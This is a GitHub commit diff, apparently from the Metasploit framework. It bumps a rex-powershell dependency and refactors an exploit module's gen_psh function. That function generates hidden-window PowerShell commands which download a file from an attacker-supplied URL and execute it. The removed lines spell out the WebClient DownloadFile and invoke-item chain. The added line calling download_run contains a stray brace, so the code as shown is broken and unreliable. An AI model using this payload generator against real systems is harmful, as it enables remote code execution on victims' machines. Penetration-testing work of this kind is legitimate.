File tree Expand file tree Collapse file tree 2 files changed +4
-7
lines changed
modules/exploits/multi/script Expand file tree Collapse file tree 2 files changed +4
-7
lines changed Original file line number Diff line number Diff line change @@ -139,7 +139,7 @@ Gem::Specification.new do |spec|
139
139
# Library for Generating Randomized strings valid as Identifiers such as variable names
140
140
spec . add_runtime_dependency 'rex-random_identifier'
141
141
# library for creating Powershell scripts for exploitation purposes
142
- spec . add_runtime_dependency 'rex-powershell' , [ "< 0.1.73 " ]
142
+ spec . add_runtime_dependency 'rex-powershell' , [ "< 0.1.78 " ]
143
143
# Library for processing and creating Zip compatbile archives
144
144
spec . add_runtime_dependency 'rex-zip'
145
145
# Library for parsing offline Windows Registry files
Original file line number Diff line number Diff line change @@ -149,7 +149,6 @@ def gen_psh(url, *method)
149
149
150
150
if method . include? 'string'
151
151
download_string = datastore [ 'PSH-Proxy' ] ? ( Rex ::Powershell ::PshMethods . proxy_aware_download_and_exec_string ( url ) ) : ( Rex ::Powershell ::PshMethods . download_and_exec_string ( url ) )
152
- download_and_run = "#{ ignore_cert } #{ download_string } "
153
152
else
154
153
# Random filename to use, if there isn't anything set
155
154
random = "#{ rand_text_alphanumeric 8 } .exe"
@@ -164,13 +163,11 @@ def gen_psh(url, *method)
164
163
file = %Q(echo (#{ path } +'\\ #{ filename } '))
165
164
166
165
# Generate download PowerShell command
167
- #download_string = Rex::Powershell::PshMethods.download(url, "$z") # Can't use, due to single vs double quotes in the URL
168
- download_string = %Q^(new-object System.Net.WebClient).DownloadFile('#{ url } ', "$z")^
169
-
170
- # Join PowerShell commands up
171
- download_and_run = "$z=#{ file } ;#{ ignore_cert } #{ download_string } ;invoke-item $z"
166
+ download_string = Rex ::Powershell ::PshMethods . download_run ( url , file } )
172
167
end
173
168
169
+ download_and_run = "#{ ignore_cert } #{ download_string } "
170
+
174
171
# Generate main PowerShell command
175
172
return generate_psh_command_line ( noprofile : true ,
176
173
windowstyle : 'hidden' ,
You can’t perform that action at this time.
0 commit comments